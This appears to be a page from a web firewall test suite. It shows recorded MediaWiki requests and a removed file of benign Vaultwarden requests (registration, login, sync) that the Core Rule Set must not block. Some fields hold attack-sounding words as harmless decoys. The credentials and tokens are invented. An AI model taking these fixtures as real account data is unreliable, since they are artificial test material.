{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
File diff suppressed because it is too large. Load diff
-190
View File
@@ -1,190 +0,0 @@
# Ordinary Vaultwarden 1.37.5 requests that the Core Rule Set must let through
# at the defaults. They were recorded from the web vault driven by a headless
# Chrome, from the Bitwarden command line client and from the admin page. Each
# line is one request as JSON. Addresses, passwords and tokens are invented,
# and the encrypted contents of uploaded files are written as base64.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/theme_head.6991036cc6ce1ab5eee1.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/styles.7b4e836b041b0b1d10ae.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/css/vaultwarden.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/app/polyfills.11c471dc266a0d8811d6.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/app/vendor.55e794a42a5fe0d2e9eb.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/app/main.1176a28a68b7b4809391.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/styles.31d6cfe0d16ae931b73c.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/images/logo.svg", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "GET", "target": "/fonts/bwi-font.9ae6e12297499bbf04d1.ttf", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/fonts/inter.c504db5c06caaf7cdfba.woff2", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/368.238d87538b99dd2b92c7.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/466839efc4da38d60ce3.module.wasm", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/locales/en/messages.json?cache=rjxzf", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 83", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 6b36c635-12c1-4537-bc69-64f3507abc05", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"name\":\"Alice python3\",\"receiveMarketingEmails\":false}"}
{"method": "GET", "target": "/api/config", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3342", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"masterPasswordHint\":\"the .htaccess one, not powershell\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/QxIhy+mWJONpBHj7f0bsWUlAol0BDrSMyLhtedzAX13cQaBENMlUny6VKHY9mpvAghYt+d/R8asNIhAGmdJl7t0bKvWrOk4ley7KITbaVHo3PZQoNHbHntf1tPvXj36jWlv1kT083of/2OFzN26P3wnmiQacoWL1PvdpXv0iVMGl6ZitiSTPFGUwPiRN8slYOoMJlJ06iw8ppRSVLqFlHIG4pitmfAv94GiDtAmVPtpTYnMLRcq6bgGF/9AiFwD3ZuOGeD5qVx2H87PRylV2durdfHhVvdqhCtDL4JpLgpUWxuxtfnd7mRCEkqJg8f9Jb7EKLJ6R5373fjfZAuZwIDAQAB\",\"encryptedPrivateKey\":\"2.C6b36YRSVHGD3787nIdlNQ==|DOBa79iUH9i3un4pY36/tZROc7Dr6241IoCBhvutyzWT2nwzlgw5JY+agdADPwUj8cd10e7o0YA+L9bNpGl3+L6gjFaBVdfiGk8qDoym0LQPR6mavqHOKTKR0rY9xcWSMSMONEZQvBmzYISC4EBcPKCEaA6FVCarp+iTkzP0RVHlSwm6HU+Pl6nLMX9LmL8viJKB22igPq12HgeIVUd2JKLmJMa80idyh1sxQ176fx1cy9mZcPTAAS8hBX6s67iRIfv3qi2oJD7M3ErGlljv/+4k700MIKJcURHyV84r9RURwi9VDBppZ74MBWd39Fo6wVA91MF8kPwpeFXHH+F0NKwoFZa7SheF+jZbta1FWrWdlYlpUVYpUPPSviJCk9PQUT67EdnS6zRkA7XcRlsukzJNcZjS4/fCvuktjWaKbR4uIDtAWKln9+ElgiVarbWFHSZILi80f4wh4s/EPUMmqNw9e+whjw2DIM/dydk6kfmEyMZam/Slg8b9+uqylmtkpD8wJd2aHD3Q6Iw2Q8h7gFgg0yRKRXc+rEjMAnG/cHiIcWpDDPVj+bYYCMCfpfGRI0t6XBfHtHfCtXUb6CMt+bN67ZThGKZawMYw8bhNmj5vkqbT8FbMS3mbD9dIdAZrO6seQxyO6UdpWpTIl51jHVUSwUo5Tfet/9NXRipl+M0jSFhWcs6grG0O9r340SehWMQxWNgp8IWNYwEJy5IwldC2Z3AAm3v9Cpmeoh/59szBwVVHkIukDwKkFNFRXG/85NIVdDcTbuZNeTVjDGNg57n/4l6ydh5XjGPDKW+VW1Q+a4r4P3GfmzjLP38B6s60PiRBPVuxQTQbsADhLllyTwu+W1OvLwv2SLWCJ6QGTuOgOtmaZ8z4sLnzox1RaTVmSYvOaYpfyIMQtR9YcRR9G2GPLXtGfyWM6dQlsZG3GzBNMID1l6J2OJy5lAbHNslLOQRk3OnR3N+I9z8q9NnPbklBE5cRkTEP1uIWkkNpujBTMmTTYHmGdRONpkOLeUOkr9kBtndArjIHlvyHdPsDzB5pQGTWCFj0APQWepEA1EODqvvo3mlNUMmH0UJjl0xD6Hw6p+bf6bcUoVwuCuH5Oqt875P2LQesldQ0W3IWbV7EZ7CTbmZPi33tUfGMtN/5NRfY6OhcevRBrGbIpsCLeVOZx6aWoPxSpKhQPycyHIC3s+kIrFl0luxA4U6qNdbwOgBDSG8FiQhm38YwYqYhpaQJCDuIlHpRPDsHEke5THn3m8dAWZullCUfLs1BZ9Uj53CvLTLMiq1m2PGgyyGJyInLqP8HYg6joclMUsw08dZ2w03mbZ7eD9AAUukVArgc9cU4anuUaYU0InAJUXtgwxBb1HpQPl4WyzOpS6Vjyf7Ad+/V+lEf2cFa/SMftecrM1hlfLplCrKf2duiHNxFcHpqPTyVxfWkRA1JKrwpgLMxaX3mZl+xJW1Enm8QdZrlaPiFp/kTz+yax6zlqW2D/pQIlXfAM+FiMk+mbnJy0aOvzrrVwh12Xp3P+i1dNdY9KVE7QPXeWY6fbE3D2N3urysGBFEPFm2fjiDugCQzeFMQot/fTM4pYUt/uweJk4tqZXSoUJacevlj9r+TaG+9muquBY1fRwnOhNTyzpvvAho=|m8ws2b/cbAkEWrMxbKR5xIREcugapKPPDf2M6B2MB7c=\"},\"masterPasswordAuthentication\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"masterPasswordUnlock\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.o8g9//HWC2ef7L5bpOXplA==|y1EuzEa3rtAfNF2rXqcOFPozQSCjpYE2OavEdylFlgm7n+RPxb9H1DmXCMMTINlHZEPZYvUqMowb66fVAEcfgW5pRUURoOCbLGgsIus5tSY=|tz6s/bE6Vx7Kp2KgnknKSOt7CAb4SmdOpdii9S0j9ls=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0MzcsImV4cCI6MTc5NDI4MjIzNywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsIm5hbWUiOiJBbGljZSBweXRob24zIiwidmVyaWZpZWQiOmZhbHNlfQ.e5Rr4SWO_KIg_xkVTSoTeuQRfU4TZOK0F_u-7P_VeDVWXvZOsmu_g43wbu03ohAK9lhHifduuocpFlIlqtbnSEWEeg-kbsRNxZRDpGYsLWVO6-gQhJuzu-XQua6oPdq6V9ibyYcRgmDMVodOnfQ0pWx0TRKTOzqWKUNWmNHkkLRtOGiK87Ids1K8KGYpiosPyfJfeepNn5uwbtCj0JnrauvskCAIFotSAPKOcgciL_Za5JggoDQ-UpwyXUAP5bs26cRhe4mXLyQUCSH38koyWAxDz53FSq3_8Xq63AZJKN0ox_n6flWJiJSP5eHktIVBub3Ifs3B4nULgU9aU49VvQ\"}"}
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=8e633b72-6e86-4a9f-90b1-5ca04f7739a8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/sync?excludeDomains=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGo